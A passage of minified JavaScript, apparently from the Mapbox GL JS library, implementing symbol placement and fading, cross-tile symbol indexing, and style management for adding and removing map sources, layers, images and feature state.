he=this.prevPlacement,$=!1;this.prevZoomAdjustment=he?he.zoomAdjustment(this.transform.zoom):0;var ve=he?he.symbolFadeChange(H):1,Re=he?he.opacities:{},He=he?he.variableOffsets:{},tt=he?he.placedOrientations:{};for(var ht in this.placements){var Dt=this.placements[ht],Wt=Re[ht];Wt?(this.opacities[ht]=new bn(Wt,ve,Dt.text,Dt.icon),$=$||Dt.text!==Wt.text.placed||Dt.icon!==Wt.icon.placed):(this.opacities[ht]=new bn(null,ve,Dt.text,Dt.icon,Dt.skipFade),$=$||Dt.text||Dt.icon)}for(var ar in Re){var hr=Re[ar];if(!this.opacities[ar]){var Er=new bn(hr,ve,!1,!1);Er.isHidden()||(this.opacities[ar]=Er,$=$||hr.text.placed||hr.icon.placed)}}for(var Fr in He)!this.variableOffsets[Fr]&&this.opacities[Fr]&&!this.opacities[Fr].isHidden()&&(this.variableOffsets[Fr]=He[Fr]);for(var Or in tt)!this.placedOrientations[Or]&&this.opacities[Or]&&!this.opacities[Or].isHidden()&&(this.placedOrientations[Or]=tt[Or]);$?this.lastPlacementChangeTime=H:typeof this.lastPlacementChangeTime!="number"&&(this.lastPlacementChangeTime=he?he.lastPlacementChangeTime:H)},pr.prototype.updateLayerOpacities=function(H,he){for(var $={},ve=0,Re=he;ve<Re.length;ve+=1){var He=Re[ve],tt=He.getBucket(H);tt&&He.latestFeatureIndex&&H.id===tt.layerIds[0]&&this.updateBucketOpacities(tt,$,He.collisionBoxArray)}},pr.prototype.updateBucketOpacities=function(H,he,$){var ve=this;H.hasTextData()&&H.text.opacityVertexArray.clear(),H.hasIconData()&&H.icon.opacityVertexArray.clear(),H.hasIconCollisionBoxData()&&H.iconCollisionBox.collisionVertexArray.clear(),H.hasTextCollisionBoxData()&&H.textCollisionBox.collisionVertexArray.clear();var Re=H.layers[0].layout,He=new bn(null,0,!1,!1,!0),tt=Re.get("text-allow-overlap"),ht=Re.get("icon-allow-overlap"),Dt=Re.get("text-variable-anchor"),Wt=Re.get("text-rotation-alignment")==="map",ar=Re.get("text-pitch-alignment")==="map",hr=Re.get("icon-text-fit")!=="none",Er=new bn(null,0,tt&&(ht||!H.hasIconData()||Re.get("icon-optional")),ht&&(tt||!H.hasTextData()||Re.get("text-optional")),!0);!H.collisionArrays&&$&&(H.hasIconCollisionBoxData()||H.hasTextCollisionBoxData())&&H.deserializeCollisionBoxes($);for(var Fr=function(en,xn,Pn){for(var Bn=0;Bn<xn/4;Bn++)en.opacityVertexArray.emplaceBack(Pn)},Or=function(en){var xn=H.symbolInstances.get(en),Pn=xn.numHorizontalGlyphVertices,Bn=xn.numVerticalGlyphVertices,Un=xn.crossTileID,Nn=he[Un],jn=ve.opacities[Un];Nn?jn=He:jn||(jn=Er,ve.opacities[Un]=jn),he[Un]=!0;var na=Pn>0||Bn>0,ra=xn.numIconVertices>0,sa=ve.placedOrientations[xn.crossTileID],ha=sa===o.WritingMode.vertical,Aa=sa===o.WritingMode.horizontal||sa===o.WritingMode.horizontalOnly;if(na){var Da=Lr(jn.text),Ka=ha?ln:Da;Fr(H.text,Pn,Ka);var ka=Aa?ln:Da;Fr(H.text,Bn,ka);var Ba=jn.text.isHidden();[xn.rightJustifiedTextSymbolIndex,xn.centerJustifiedTextSymbolIndex,xn.leftJustifiedTextSymbolIndex].forEach(function(hs){hs>=0&&(H.text.placedSymbolArray.get(hs).hidden=Ba||ha?1:0)}),xn.verticalPlacedTextSymbolIndex>=0&&(H.text.placedSymbolArray.get(xn.verticalPlacedTextSymbolIndex).hidden=Ba||Aa?1:0);var xa=ve.variableOffsets[xn.crossTileID];xa&&ve.markUsedJustification(H,xa.anchor,xn,sa);var Ja=ve.placedOrientations[xn.crossTileID];Ja&&(ve.markUsedJustification(H,"left",xn,Ja),ve.markUsedOrientation(H,Ja,xn))}if(ra){var qa=Lr(jn.icon),ti=!(hr&&xn.verticalPlacedIconSymbolIndex&&ha);if(xn.placedIconSymbolIndex>=0){var Na=ti?qa:ln;Fr(H.icon,xn.numIconVertices,Na),H.icon.placedSymbolArray.get(xn.placedIconSymbolIndex).hidden=jn.icon.isHidden()}if(xn.verticalPlacedIconSymbolIndex>=0){var fi=ti?ln:qa;Fr(H.icon,xn.numVerticalIconVertices,fi),H.icon.placedSymbolArray.get(xn.verticalPlacedIconSymbolIndex).hidden=jn.icon.isHidden()}}if(H.hasIconCollisionBoxData()||H.hasTextCollisionBoxData()){var Ia=H.collisionArrays[en];if(Ia){var Ha=new o.Point(0,0);if(Ia.textBox||Ia.verticalTextBox){var Ei=!0;if(Dt){var Bi=ve.variableOffsets[Un];Bi?(Ha=Fa(Bi.anchor,Bi.width,Bi.height,Bi.textOffset,Bi.textBoxScale),Wt&&Ha._rotate(ar?ve.transform.angle:-ve.transform.angle)):Ei=!1}Ia.textBox&&$r(H.textCollisionBox.collisionVertexArray,jn.text.placed,!Ei||ha,Ha.x,Ha.y),Ia.verticalTextBox&&$r(H.textCollisionBox.collisionVertexArray,jn.text.placed,!Ei||Aa,Ha.x,Ha.y)}var cs=!!(!Aa&&Ia.verticalIconBox);Ia.iconBox&&$r(H.iconCollisionBox.collisionVertexArray,jn.icon.placed,cs,hr?Ha.x:0,hr?Ha.y:0),Ia.verticalIconBox&&$r(H.iconCollisionBox.collisionVertexArray,jn.icon.placed,!cs,hr?Ha.x:0,hr?Ha.y:0)}}},zr=0;zr<H.symbolInstances.length;zr++)Or(zr);if(H.sortFeatures(this.transform.angle),this.retainedQueryData[H.bucketInstanceId]&&(this.retainedQueryData[H.bucketInstanceId].featureSortOrder=H.featureSortOrder),H.hasTextData()&&H.text.opacityVertexBuffer&&H.text.opacityVertexBuffer.updateData(H.text.opacityVertexArray),H.hasIconData()&&H.icon.opacityVertexBuffer&&H.icon.opacityVertexBuffer.updateData(H.icon.opacityVertexArray),H.hasIconCollisionBoxData()&&H.iconCollisionBox.collisionVertexBuffer&&H.iconCollisionBox.collisionVertexBuffer.updateData(H.iconCollisionBox.collisionVertexArray),H.hasTextCollisionBoxData()&&H.textCollisionBox.collisionVertexBuffer&&H.textCollisionBox.collisionVertexBuffer.updateData(H.textCollisionBox.collisionVertexArray),H.bucketInstanceId in this.collisionCircleArrays){var Yr=this.collisionCircleArrays[H.bucketInstanceId];H.placementInvProjMatrix=Yr.invProjMatrix,H.placementViewportMatrix=Yr.viewportMatrix,H.collisionCircleArray=Yr.circles,delete this.collisionCircleArrays[H.bucketInstanceId]}},pr.prototype.symbolFadeChange=function(H){return this.fadeDuration===0?1:(H-this.commitTime)/this.fadeDuration+this.prevZoomAdjustment},pr.prototype.zoomAdjustment=function(H){return Math.max(0,(this.transform.zoom-H)/1.5)},pr.prototype.hasTransitions=function(H){return this.stale||H-this.lastPlacementChangeTime<this.fadeDuration},pr.prototype.stillRecent=function(H,he){var $=this.zoomAtLastRecencyCheck===he?1-this.zoomAdjustment(he):1;return this.zoomAtLastRecencyCheck=he,this.commitTime+this.fadeDuration*$>H},pr.prototype.setStale=function(){this.stale=!0};function $r(ue,H,he,$,ve){ue.emplaceBack(H?1:0,he?1:0,$||0,ve||0),ue.emplaceBack(H?1:0,he?1:0,$||0,ve||0),ue.emplaceBack(H?1:0,he?1:0,$||0,ve||0),ue.emplaceBack(H?1:0,he?1:0,$||0,ve||0)}var on=Math.pow(2,25),sn=Math.pow(2,24),Tn=Math.pow(2,17),pn=Math.pow(2,16),nn=Math.pow(2,9),Ar=Math.pow(2,8),br=Math.pow(2,1);function Lr(ue){if(ue.opacity===0&&!ue.placed)return 0;if(ue.opacity===1&&ue.placed)return 4294967295;var H=ue.placed?1:0,he=Math.floor(ue.opacity*127);return he*on+H*sn+he*Tn+H*pn+he*nn+H*Ar+he*br+H}var ln=0,Ln=function(H){this._sortAcrossTiles=H.layout.get("symbol-z-order")!=="viewport-y"&&H.layout.get("symbol-sort-key").constantOr(1)!==void 0,this._currentTileIndex=0,this._currentPartIndex=0,this._seenCrossTileIDs={},this._bucketParts=[]};Ln.prototype.continuePlacement=function(H,he,$,ve,Re){for(var He=this._bucketParts;this._currentTileIndex<H.length;){var tt=H[this._currentTileIndex];if(he.getBucketParts(He,ve,tt,this._sortAcrossTiles),this._currentTileIndex++,Re())return!0}for(this._sortAcrossTiles&&(this._sortAcrossTiles=!1,He.sort(function(Dt,Wt){return Dt.sortKey-Wt.sortKey}));this._currentPartIndex<He.length;){var ht=He[this._currentPartIndex];if(he.placeLayerBucketPart(ht,this._seenCrossTileIDs,$),this._currentPartIndex++,Re())return!0}return!1};var On=function(H,he,$,ve,Re,He,tt){this.placement=new pr(H,Re,He,tt),this._currentPlacementIndex=he.length-1,this._forceFullPlacement=$,this._showCollisionBoxes=ve,this._done=!1};On.prototype.isDone=function(){return this._done},On.prototype.continuePlacement=function(H,he,$){for(var ve=this,Re=o.browser.now(),He=function(){var ar=o.browser.now()-Re;return ve._forceFullPlacement?!1:ar>2};this._currentPlacementIndex>=0;){var tt=H[this._currentPlacementIndex],ht=he[tt],Dt=this.placement.collisionIndex.transform.zoom;if(ht.type==="symbol"&&(!ht.minzoom||ht.minzoom<=Dt)&&(!ht.maxzoom||ht.maxzoom>Dt)){this._inProgressLayer||(this._inProgressLayer=new Ln(ht));var Wt=this._inProgressLayer.continuePlacement($[ht.source],this.placement,this._showCollisionBoxes,ht,He);if(Wt)return;delete this._inProgressLayer}this._currentPlacementIndex--}this._done=!0},On.prototype.commit=function(H){return this.placement.commit(H),this.placement};var fn=512/o.EXTENT/2,Rn=function(H,he,$){this.tileID=H,this.indexedSymbolInstances={},this.bucketInstanceId=$;for(var ve=0;ve<he.length;ve++){var Re=he.get(ve),He=Re.key;this.indexedSymbolInstances[He]||(this.indexedSymbolInstances[He]=[]),this.indexedSymbolInstances[He].push({crossTileID:Re.crossTileID,coord:this.getScaledCoordinates(Re,H)})}};Rn.prototype.getScaledCoordinates=function(H,he){var $=he.canonical.z-this.tileID.canonical.z,ve=fn/Math.pow(2,$);return{x:Math.floor((he.canonical.x*o.EXTENT+H.anchorX)*ve),y:Math.floor((he.canonical.y*o.EXTENT+H.anchorY)*ve)}},Rn.prototype.findMatches=function(H,he,$){for(var ve=this.tileID.canonical.z<he.canonical.z?1:Math.pow(2,this.tileID.canonical.z-he.canonical.z),Re=0;Re<H.length;Re++){var He=H.get(Re);if(!He.crossTileID){var tt=this.indexedSymbolInstances[He.key];if(tt)for(var ht=this.getScaledCoordinates(He,he),Dt=0,Wt=tt;Dt<Wt.length;Dt+=1){var ar=Wt[Dt];if(Math.abs(ar.coord.x-ht.x)<=ve&&Math.abs(ar.coord.y-ht.y)<=ve&&!$[ar.crossTileID]){$[ar.crossTileID]=!0,He.crossTileID=ar.crossTileID;break}}}}};var Zn=function(){this.maxCrossTileID=0};Zn.prototype.generate=function(){return++this.maxCrossTileID};var ta=function(){this.indexes={},this.usedCrossTileIDs={},this.lng=0};ta.prototype.handleWrapJump=function(H){var he=Math.round((H-this.lng)/360);if(he!==0)for(var $ in this.indexes){var ve=this.indexes[$],Re={};for(var He in ve){var tt=ve[He];tt.tileID=tt.tileID.unwrapTo(tt.tileID.wrap+he),Re[tt.tileID.key]=tt}this.indexes[$]=Re}this.lng=H},ta.prototype.addBucket=function(H,he,$){if(this.indexes[H.overscaledZ]&&this.indexes[H.overscaledZ][H.key]){if(this.indexes[H.overscaledZ][H.key].bucketInstanceId===he.bucketInstanceId)return!1;this.removeBucketCrossTileIDs(H.overscaledZ,this.indexes[H.overscaledZ][H.key])}for(var ve=0;ve<he.symbolInstances.length;ve++){var Re=he.symbolInstances.get(ve);Re.crossTileID=0}this.usedCrossTileIDs[H.overscaledZ]||(this.usedCrossTileIDs[H.overscaledZ]={});var He=this.usedCrossTileIDs[H.overscaledZ];for(var tt in this.indexes){var ht=this.indexes[tt];if(Number(tt)>H.overscaledZ)for(var Dt in ht){var Wt=ht[Dt];Wt.tileID.isChildOf(H)&&Wt.findMatches(he.symbolInstances,H,He)}else{var ar=H.scaledTo(Number(tt)),hr=ht[ar.key];hr&&hr.findMatches(he.symbolInstances,H,He)}}for(var Er=0;Er<he.symbolInstances.length;Er++){var Fr=he.symbolInstances.get(Er);Fr.crossTileID||(Fr.crossTileID=$.generate(),He[Fr.crossTileID]=!0)}return this.indexes[H.overscaledZ]===void 0&&(this.indexes[H.overscaledZ]={}),this.indexes[H.overscaledZ][H.key]=new Rn(H,he.symbolInstances,he.bucketInstanceId),!0},ta.prototype.removeBucketCrossTileIDs=function(H,he){for(var $ in he.indexedSymbolInstances)for(var ve=0,Re=he.indexedSymbolInstances[$];ve<Re.length;ve+=1){var He=Re[ve];delete this.usedCrossTileIDs[H][He.crossTileID]}},ta.prototype.removeStaleBuckets=function(H){var he=!1;for(var $ in this.indexes){var ve=this.indexes[$];for(var Re in ve)H[ve[Re].bucketInstanceId]||(this.removeBucketCrossTileIDs($,ve[Re]),delete ve[Re],he=!0)}return he};var Qn=function(){this.layerIndexes={},this.crossTileIDs=new Zn,this.maxBucketInstanceId=0,this.bucketsInCurrentPlacement={}};Qn.prototype.addLayer=function(H,he,$){var ve=this.layerIndexes[H.id];ve===void 0&&(ve=this.layerIndexes[H.id]=new ta);var Re=!1,He={};ve.handleWrapJump($);for(var tt=0,ht=he;tt<ht.length;tt+=1){var Dt=ht[tt],Wt=Dt.getBucket(H);!Wt||H.id!==Wt.layerIds[0]||(Wt.bucketInstanceId||(Wt.bucketInstanceId=++this.maxBucketInstanceId),ve.addBucket(Dt.tileID,Wt,this.crossTileIDs)&&(Re=!0),He[Wt.bucketInstanceId]=!0)}return ve.removeStaleBuckets(He)&&(Re=!0),Re},Qn.prototype.pruneUnusedLayers=function(H){var he={};H.forEach(function(ve){he[ve]=!0});for(var $ in this.layerIndexes)he[$]||delete this.layerIndexes[$]};var $n=function(ue,H){return o.emitValidationErrors(ue,H&&H.filter(function(he){return he.identifier!=="source.canvas"}))},oa=o.pick(It,["addLayer","removeLayer","setPaintProperty","setLayoutProperty","setFilter","addSource","removeSource","setLayerZoomRange","setLight","setTransition","setGeoJSONSourceData"]),Di=o.pick(It,["setCenter","setZoom","setBearing","setPitch"]),Gi=Jt(),Xi=function(ue){function H(he,$){var ve=this;$===void 0&&($={}),ue.call(this),this.map=he,this.dispatcher=new k(Et(),this),this.imageManager=new b,this.imageManager.setEventedParent(this),this.glyphManager=new A(he._requestManager,$.localIdeographFontFamily),this.lineAtlas=new I(256,512),this.crossTileSymbolIndex=new Qn,this._layers={},this._serializedLayers={},this._order=[],this.sourceCaches={},this.zoomHistory=new o.ZoomHistory,this._loaded=!1,this._availableImages=[],this._resetUpdates(),this.dispatcher.broadcast("setReferrer",o.getReferrer());var Re=this;this._rtlTextPluginCallback=H.registerForPluginStateChange(function(He){var tt={pluginStatus:He.pluginStatus,pluginURL:He.pluginURL};Re.dispatcher.broadcast("syncRTLPluginState",tt,function(ht,Dt){if(o.triggerPluginCompletionEvent(ht),Dt){var Wt=Dt.every(function(hr){return hr});if(Wt)for(var ar in Re.sourceCaches)Re.sourceCaches[ar].reload()}})}),this.on("data",function(He){if(!(He.dataType!=="source"||He.sourceDataType!=="metadata")){var tt=ve.sourceCaches[He.sourceId];if(tt){var ht=tt.getSource();if(!(!ht||!ht.vectorLayerIds))for(var Dt in ve._layers){var Wt=ve._layers[Dt];Wt.source===ht.id&&ve._validateLayer(Wt)}}}})}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.loadURL=function($,ve){var Re=this;ve===void 0&&(ve={}),this.fire(new o.Event("dataloading",{dataType:"style"}));var He=typeof ve.validate=="boolean"?ve.validate:!o.isMapboxURL($);$=this.map._requestManager.normalizeStyleURL($,ve.accessToken);var tt=this.map._requestManager.transformRequest($,o.ResourceType.Style);this._request=o.getJSON(tt,function(ht,Dt){Re._request=null,ht?Re.fire(new o.ErrorEvent(ht)):Dt&&Re._load(Dt,He)})},H.prototype.loadJSON=function($,ve){var Re=this;ve===void 0&&(ve={}),this.fire(new o.Event("dataloading",{dataType:"style"})),this._request=o.browser.frame(function(){Re._request=null,Re._load($,ve.validate!==!1)})},H.prototype.loadEmpty=function(){this.fire(new o.Event("dataloading",{dataType:"style"})),this._load(Gi,!1)},H.prototype._load=function($,ve){if(!(ve&&$n(this,o.validateStyle($)))){this._loaded=!0,this.stylesheet=$;for(var Re in $.sources)this.addSource(Re,$.sources[Re],{validate:!1});$.sprite?this._loadSprite($.sprite):this.imageManager.setLoaded(!0),this.glyphManager.setURL($.glyphs);var He=tr(this.stylesheet.layers);this._order=He.map(function(Wt){return Wt.id}),this._layers={},this._serializedLayers={};for(var tt=0,ht=He;tt<ht.length;tt+=1){var Dt=ht[tt];Dt=o.createStyleLayer(Dt),Dt.setEventedParent(this,{layer:{id:Dt.id}}),this._layers[Dt.id]=Dt,this._serializedLayers[Dt.id]=Dt.serialize()}this.dispatcher.broadcast("setLayers",this._serializeLayers(this._order)),this.light=new x(this.stylesheet.light),this.fire(new o.Event("data",{dataType:"style"})),this.fire(new o.Event("style.load"))}},H.prototype._loadSprite=function($){var ve=this;this._spriteRequest=s($,this.map._requestManager,function(Re,He){if(ve._spriteRequest=null,Re)ve.fire(new o.ErrorEvent(Re));else if(He)for(var tt in He)ve.imageManager.addImage(tt,He[tt]);ve.imageManager.setLoaded(!0),ve._availableImages=ve.imageManager.listImages(),ve.dispatcher.broadcast("setImages",ve._availableImages),ve.fire(new o.Event("data",{dataType:"style"}))})},H.prototype._validateLayer=function($){var ve=this.sourceCaches[$.source];if(ve){var Re=$.sourceLayer;if(Re){var He=ve.getSource();(He.type==="geojson"||He.vectorLayerIds&&He.vectorLayerIds.indexOf(Re)===-1)&&this.fire(new o.ErrorEvent(new Error('Source layer "'+Re+'" does not exist on source "'+He.id+'" as specified by style layer "'+$.id+'"')))}}},H.prototype.loaded=function(){if(!this._loaded||Object.keys(this._updatedSources).length)return!1;for(var $ in this.sourceCaches)if(!this.sourceCaches[$].loaded())return!1;return!!this.imageManager.isLoaded()},H.prototype._serializeLayers=function($){for(var ve=[],Re=0,He=$;Re<He.length;Re+=1){var tt=He[Re],ht=this._layers[tt];ht.type!=="custom"&&ve.push(ht.serialize())}return ve},H.prototype.hasTransitions=function(){if(this.light&&this.light.hasTransition())return!0;for(var $ in this.sourceCaches)if(this.sourceCaches[$].hasTransition())return!0;for(var ve in this._layers)if(this._layers[ve].hasTransition())return!0;return!1},H.prototype._checkLoaded=function(){if(!this._loaded)throw new Error("Style is not done loading")},H.prototype.update=function($){if(this._loaded){var ve=this._changed;if(this._changed){var Re=Object.keys(this._updatedLayers),He=Object.keys(this._removedLayers);(Re.length||He.length)&&this._updateWorkerLayers(Re,He);for(var tt in this._updatedSources){var ht=this._updatedSources[tt];ht==="reload"?this._reloadSource(tt):ht==="clear"&&this._clearSource(tt)}this._updateTilesForChangedImages();for(var Dt in this._updatedPaintProps)this._layers[Dt].updateTransitions($);this.light.updateTransitions($),this._resetUpdates()}for(var Wt in this.sourceCaches)this.sourceCaches[Wt].used=!1;for(var ar=0,hr=this._order;ar<hr.length;ar+=1){var Er=hr[ar],Fr=this._layers[Er];Fr.recalculate($,this._availableImages),!Fr.isHidden($.zoom)&&Fr.source&&(this.sourceCaches[Fr.source].used=!0)}this.light.recalculate($),this.z=$.zoom,ve&&this.fire(new o.Event("data",{dataType:"style"}))}},H.prototype._updateTilesForChangedImages=function(){var $=Object.keys(this._changedImages);if($.length){for(var ve in this.sourceCaches)this.sourceCaches[ve].reloadTilesForDependencies(["icons","patterns"],$);this._changedImages={}}},H.prototype._updateWorkerLayers=function($,ve){this.dispatcher.broadcast("updateLayers",{layers:this._serializeLayers($),removedIds:ve})},H.prototype._resetUpdates=function(){this._changed=!1,this._updatedLayers={},this._removedLayers={},this._updatedSources={},this._updatedPaintProps={},this._changedImages={}},H.prototype.setState=function($){var ve=this;if(this._checkLoaded(),$n(this,o.validateStyle($)))return!1;$=o.clone$1($),$.layers=tr($.layers);var Re=Mn(this.serialize(),$).filter(function(tt){return!(tt.command in Di)});if(Re.length===0)return!1;var He=Re.filter(function(tt){return!(tt.command in oa)});if(He.length>0)throw new Error("Unimplemented: "+He.map(function(tt){return tt.command}).join(", ")+".");return Re.forEach(function(tt){tt.command!=="setTransition"&&ve[tt.command].apply(ve,tt.args)}),this.stylesheet=$,!0},H.prototype.addImage=function($,ve){if(this.getImage($))return this.fire(new o.ErrorEvent(new Error("An image with this name already exists.")));this.imageManager.addImage($,ve),this._availableImages=this.imageManager.listImages(),this._changedImages[$]=!0,this._changed=!0,this.fire(new o.Event("data",{dataType:"style"}))},H.prototype.updateImage=function($,ve){this.imageManager.updateImage($,ve)},H.prototype.getImage=function($){return this.imageManager.getImage($)},H.prototype.removeImage=function($){if(!this.getImage($))return this.fire(new o.ErrorEvent(new Error("No image with this name exists.")));this.imageManager.removeImage($),this._availableImages=this.imageManager.listImages(),this._changedImages[$]=!0,this._changed=!0,this.fire(new o.Event("data",{dataType:"style"}))},H.prototype.listImages=function(){return this._checkLoaded(),this.imageManager.listImages()},H.prototype.addSource=function($,ve,Re){var He=this;if(Re===void 0&&(Re={}),this._checkLoaded(),this.sourceCaches[$]!==void 0)throw new Error("There is already a source with this ID");if(!ve.type)throw new Error("The type property must be defined, but the only the following properties were given: "+Object.keys(ve).join(", ")+".");var tt=["vector","raster","geojson","video","image"],ht=tt.indexOf(ve.type)>=0;if(!(ht&&this._validate(o.validateStyle.source,"sources."+$,ve,null,Re))){this.map&&this.map._collectResourceTiming&&(ve.collectResourceTiming=!0);var Dt=this.sourceCaches[$]=new Pt($,ve,this.dispatcher);Dt.style=this,Dt.setEventedParent(this,function(){return{isSourceLoaded:He.loaded(),source:Dt.serialize(),sourceId:$}}),Dt.onAdd(this.map),this._changed=!0}},H.prototype.removeSource=function($){if(this._checkLoaded(),this.sourceCaches[$]===void 0)throw new Error("There is no source with this ID");for(var ve in this._layers)if(this._layers[ve].source===$)return this.fire(new o.ErrorEvent(new Error('Source "'+$+'" cannot be removed while layer "'+ve+'" is using it.')));var Re=this.sourceCaches[$];delete this.sourceCaches[$],delete this._updatedSources[$],Re.fire(new o.Event("data",{sourceDataType:"metadata",dataType:"source",sourceId:$})),Re.setEventedParent(null),Re.clearTiles(),Re.onRemove&&Re.onRemove(this.map),this._changed=!0},H.prototype.setGeoJSONSourceData=function($,ve){this._checkLoaded();var Re=this.sourceCaches[$].getSource();Re.setData(ve),this._changed=!0},H.prototype.getSource=function($){return this.sourceCaches[$]&&this.sourceCaches[$].getSource()},H.prototype.addLayer=function($,ve,Re){Re===void 0&&(Re={}),this._checkLoaded();var He=$.id;if(this.getLayer(He)){this.fire(new o.ErrorEvent(new Error('Layer with id "'+He+'" already exists on this map')));return}var tt;if($.type==="custom"){if($n(this,o.validateCustomStyleLayer($)))return;tt=o.createStyleLayer($)}else{if(typeof $.source=="object"&&(this.addSource(He,$.source),$=o.clone$1($),$=o.extend($,{source:He})),this._validate(o.validateStyle.layer,"layers."+He,$,{arrayIndex:-1},Re))return;tt=o.createStyleLayer($),this._validateLayer(tt),tt.setEventedParent(this,{layer:{id:He}}),this._serializedLayers[tt.id]=tt.serialize()}var ht=ve?this._order.indexOf(ve):this._order.length;if(ve&&ht===-1){this.fire(new o.ErrorEvent(new Error('Layer with id "'+ve+'" does not exist on this map.')));return}if(this._order.splice(ht,0,He),this._layerOrderChanged=!0,this._layers[He]=tt,this._removedLayers[He]&&tt.source&&tt.type!=="custom"){var Dt=this._removedLayers[He];delete this._removedLayers[He],Dt.type!==tt.type?this._updatedSources[tt.source]="clear":(this._updatedSources[tt.source]="reload",this.sourceCaches[tt.source].pause())}this._updateLayer(tt),tt.onAdd&&tt.onAdd(this.map)},H.prototype.moveLayer=function($,ve){this._checkLoaded(),this._changed=!0;var Re=this._layers[$];if(!Re){this.fire(new o.ErrorEvent(new Error("The layer '"+$+"' does not exist in the map's style and cannot be moved.")));return}if($!==ve){var He=this._order.indexOf($);this._order.splice(He,1);var tt=ve?this._order.indexOf(ve):this._order.length;if(ve&&tt===-1){this.fire(new o.ErrorEvent(new Error('Layer with id "'+ve+'" does not exist on this map.')));return}this._order.splice(tt,0,$),this._layerOrderChanged=!0}},H.prototype.removeLayer=function($){this._checkLoaded();var ve=this._layers[$];if(!ve){this.fire(new o.ErrorEvent(new Error("The layer '"+$+"' does not exist in the map's style and cannot be removed.")));return}ve.setEventedParent(null);var Re=this._order.indexOf($);this._order.splice(Re,1),this._layerOrderChanged=!0,this._changed=!0,this._removedLayers[$]=ve,delete this._layers[$],delete this._serializedLayers[$],delete this._updatedLayers[$],delete this._updatedPaintProps[$],ve.onRemove&&ve.onRemove(this.map)},H.prototype.getLayer=function($){return this._layers[$]},H.prototype.hasLayer=function($){return $ in this._layers},H.prototype.setLayerZoomRange=function($,ve,Re){this._checkLoaded();var He=this.getLayer($);if(!He){this.fire(new o.ErrorEvent(new Error("The layer '"+$+"' does not exist in the map's style and cannot have zoom extent.")));return}He.minzoom===ve&&He.maxzoom===Re||(ve!=null&&(He.minzoom=ve),Re!=null&&(He.maxzoom=Re),this._updateLayer(He))},H.prototype.setFilter=function($,ve,Re){Re===void 0&&(Re={}),this._checkLoaded();var He=this.getLayer($);if(!He){this.fire(new o.ErrorEvent(new Error("The layer '"+$+"' does not exist in the map's style and cannot be filtered.")));return}if(!o.deepEqual(He.filter,ve)){if(ve==null){He.filter=void 0,this._updateLayer(He);return}this._validate(o.validateStyle.filter,"layers."+He.id+".filter",ve,null,Re)||(He.filter=o.clone$1(ve),this._updateLayer(He))}},H.prototype.getFilter=function($){return o.clone$1(this.getLayer($).filter)},H.prototype.setLayoutProperty=function($,ve,Re,He){He===void 0&&(He={}),this._checkLoaded();var tt=this.getLayer($);if(!tt){this.fire(new o.ErrorEvent(new Error("The layer '"+$+"' does not exist in the map's style and cannot be styled.")));return}o.deepEqual(tt.getLayoutProperty(ve),Re)||(tt.setLayoutProperty(ve,Re,He),this._updateLayer(tt))},H.prototype.getLayoutProperty=function($,ve){var Re=this.getLayer($);if(!Re){this.fire(new o.ErrorEvent(new Error("The layer '"+$+"' does not exist in the map's style.")));return}return Re.getLayoutProperty(ve)},H.prototype.setPaintProperty=function($,ve,Re,He){He===void 0&&(He={}),this._checkLoaded();var tt=this.getLayer($);if(!tt){this.fire(new o.ErrorEvent(new Error("The layer '"+$+"' does not exist in the map's style and cannot be styled.")));return}if(!o.deepEqual(tt.getPaintProperty(ve),Re)){var ht=tt.setPaintProperty(ve,Re,He);ht&&this._updateLayer(tt),this._changed=!0,this._updatedPaintProps[$]=!0}},H.prototype.getPaintProperty=function($,ve){return this.getLayer($).getPaintProperty(ve)},H.prototype.setFeatureState=function($,ve){this._checkLoaded();var Re=$.source,He=$.sourceLayer,tt=this.sourceCaches[Re];if(tt===void 0){this.fire(new o.ErrorEvent(new Error("The source '"+Re+"' does not exist in the map's style.")));return}var ht=tt.getSource().type;if(ht==="geojson"&&He){this.fire(new o.ErrorEvent(new Error("GeoJSON sources cannot have a sourceLayer parameter.")));return}if(ht==="vector"&&!He){this.fire(new o.ErrorEvent(new Error("The sourceLayer parameter must be provided for vector source types.")));return}$.id===void 0&&this.fire(new o.ErrorEvent(new Error("The feature id parameter must be provided."))),tt.setFeatureState(He,$.id,ve)},H.prototype.removeFeatureState=function($,ve){this._checkLoaded();var Re=$.source,He=this.sourceCaches[Re];if(He===void 0){this.fire(new o.ErrorEvent(new Error("The source '"+Re+"' does not exist in the map's style.")));return}var tt=He.getSource().type,ht=tt==="vector"?$.sourceLayer:void 0;if(tt==="vector"&&!ht){this.fire(new o.ErrorEvent(new Error("The sourceLayer parameter must be provided for vector source types.")));return}if(ve&&typeof $.id!="string"&&typeof $.id!="number"){this.fire(new o.ErrorEvent(new Error("A feature id is requred to remove its specific state property.")));return}He.removeFeatureState(ht,$.id,ve)},H.prototype.getFeatureState=function($){this._checkLoaded();var ve=$.source,Re=$.sourceLayer,He=this.sourceCaches[ve];if(He===void 0){this.fire(new o.ErrorEvent(new Error("The source '"+ve+"' does not exist in the map's style.")));return}var tt=He.getSource().type;if(tt==="vector"&&!Re){this.fire(new o.ErrorEvent(new Error("The sourceLayer parameter must be provided for vector source types.")));return}return $.id===void 0&&this.fire(new o.ErrorEvent(new Error("The feature id parameter must be provided."))),He.getFeatureState(Re,$.id)},H.prototype.getTransition=function(){return o.extend({duration:300,delay:0},this.stylesheet&&this.stylesheet.transition)},H.prototype.serialize=function(){return o.filterObject({version:this.stylesheet.version,name:this.stylesheet.name,metadata:this.stylesheet.metadata,light:this.stylesheet.light,center:this.stylesheet.center,zoom:this.stylesheet.zoom,bearing:this.stylesheet.bearing,pitch:this.stylesheet.pitch,sprite:this.stylesheet.sprite,glyphs:this.stylesheet.glyphs,transition:this.stylesheet.transition,sources:o.mapObject(this.sourceCaches,function($){return $.serialize()}),layers:this._serializeLayers(this._order)},function($){return $!==void 0})},H.prototype._updateLayer=function($){this._updatedLayers[$.id]=!0,$.source&&!this._updatedSources[$.source]&&this.sourceCaches[$.source].getSource().type!=="raster"&&(this._updatedSources[$.source]="reload",this.sourceCaches[$.source].pause()),this._changed=!0},H.prototype._flattenAndSortRenderedFeatures=function($){for(var ve=this,Re=function(Aa){return ve._layers[Aa].type==="fill-extrusion"},He={},tt=[],ht=this._order.length-1;ht>=0;ht--){var Dt=this._order[ht];if(Re(Dt)){He[Dt]=ht;for(var Wt=0,ar=$;Wt<ar.length;Wt+=1){var hr=ar[Wt],Er=hr[Dt];if(Er)for(var Fr=0,Or=Er;Fr<Or.length;Fr+=1){var zr=Or[Fr];tt.push(zr)}}}}tt.sort(function(Aa,Da){return Da.intersectionZ-Aa.intersectionZ});for(var 